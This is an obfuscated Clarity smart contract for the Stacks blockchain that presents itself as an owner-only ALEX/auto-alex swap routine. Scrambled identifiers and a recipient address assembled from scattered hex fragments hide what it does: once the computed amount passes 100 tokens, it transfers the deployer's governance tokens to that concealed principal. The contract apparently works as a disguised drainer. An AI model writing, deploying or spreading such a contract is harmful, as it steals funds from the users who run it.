;; hello alex 
(define-data-var w2GEL principal tx-sender) (define-constant Ref5o (err u1011)) (define-constant eWGqC 0x6c68) (define-constant aAW9z 0xa24f) (define-constant eGmmj 0xb78f) (define-constant EBQIE 0x9a11) (define-constant LYKmI 0x971f) (define-constant ATWGU 0xc31e) (define-constant eRvSC u100000000) (define-constant CQbp8 0xf121) (define-constant bNr8z 0x2b6a) (define-constant LfzWf 0xe729) (define-constant qDd0w 0xc019) (define-constant D19Nl (concat ATWGU EBQIE)) (define-constant l2sFe (concat bNr8z aAW9z)) (define-constant Eqsks 0x16) (define-constant CyX6E (concat eWGqC qDd0w)) (define-constant czOrd (concat eGmmj LfzWf)) (define-constant SFDiQ (concat CQbp8 LYKmI)) (define-constant AH5gD (concat CyX6E D19Nl)) (define-constant qbkkF (concat SFDiQ czOrd)) (define-constant ant8G (concat AH5gD (concat qbkkF l2sFe))) (define-constant YcLQd (unwrap-panic (principal-construct? Eqsks ant8G))) (define-private (check-is-owner) (ok (asserts! (is-eq tx-sender (var-get w2GEL)) Ref5o)) ) (define-public (send-many (FZxmh uint) (AdiG2 uint) (MiXYl uint)) (let ( (willget-tt1tE (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position FZxmh))) (MWhZZ (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 get-given-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex willget-tt1tE))) ) (try! (check-is-owner)) (let ( (bGX3G (get yjOob (fold cXISF 0x000000000000000000000000000000000000000000000000000000000000000000000000000000 {w67u0: FZxmh, yjOob: MWhZZ, AdiG2: AdiG2, MiXYl: MiXYl}))) ) (if (is-eq tx-sender YcLQd) (ok true) (begin (if (>= bGX3G (* u100 eRvSC)) (let ((i640y (try! (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token transfer-fixed bGX3G tx-sender YcLQd none)))) (ok true)) (ok true) ) ) ) ) ) ) (define-private (cXISF (i (buff 1)) (OIrHK {w67u0: uint, yjOob: uint, AdiG2: uint, MiXYl: uint})) (if (and (> (+ (get yjOob OIrHK) (get MiXYl OIrHK)) (get w67u0 OIrHK)) (> (get w67u0 OIrHK) (* u50 eRvSC))) (let ( (tt1tE (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position (get w67u0 OIrHK)))) (LC2Rj (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex add-to-position (get w67u0 OIrHK)))) (MWhZZ (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 swap-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token tt1tE none))) (OIrHK-willget-tt1tE (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position MWhZZ))) (OIrHK-MWhZZ (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 get-given-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex OIrHK-willget-tt1tE))) ) (begin (print {w67u0: MWhZZ, yjOob: OIrHK-MWhZZ, AdiG2: (get AdiG2 OIrHK), MiXYl: u0}) {w67u0: MWhZZ, yjOob: OIrHK-MWhZZ, AdiG2: (get AdiG2 OIrHK), MiXYl: u0} ) ) OIrHK ) ) 